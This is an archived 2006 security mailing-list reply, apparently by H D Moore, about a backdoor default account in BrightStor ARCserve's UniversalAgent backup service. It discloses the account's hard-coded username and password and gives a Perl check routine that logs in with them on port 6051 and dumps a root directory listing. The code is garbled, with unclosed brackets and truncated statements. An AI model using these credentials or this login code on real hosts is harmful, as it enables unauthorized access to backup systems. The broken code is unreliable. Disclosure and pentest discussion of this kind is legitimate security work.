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Re: Hacking Arcserver from Nessus reports
From: H D Moore <sflist () digitaloffense net>
Date: Thu, 6 Apr 2006 01:39:51 -0500

On Wednesday 05 April 2006 00:13, joe () pentester-inc net wrote:
The remote host is running UniversalAgent, an agent used by BrightStor
ARCserve to perform backups.

The remote version of this agent contains a default account
with the username '\x02root\x03' and password '\x02<%j8U]`~+Ri\x03'.

Use the ARCServe client software to connect and paste in that password, or 
try the following code:

sub Check {
        my $self = shift;
        my $target_host = $self->GetVar('RHOST');
        my $target_port = 6051;

        my $s = Msf::Socket::Tcp->new
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,

        if ($s->IsError) {
                $self->PrintLine('[*] Error creating socket: ' . 
                return $self->CheckCode('Connect');

        # user: \x02root\x03
        # pass: \x02<%j8U]`~+Ri\x03

        my $login =
          ("\x00" x 176).
          ("\x00" x 160).
          ("\x00" x 248).

        $s->Recv(8, 2);

        my $dumproot =

        $s->Recv(8, 2);

        my $res = $s->Recv(-1, 5);

        if (index($res, "etc") != -1) {
                $self->PrintLine("[*] The BrightStor Agent backdoor 
account is active");

                print "[DATA]\n".Pex::Text::BufferPerl($res)."\n";
                $res =~ s/[\x00-\0x1f]/ /g;
                print "[RAWD]\n".$res."\n";

                return $self->CheckCode('Confirmed');

        return $self->CheckCode('Unknown');


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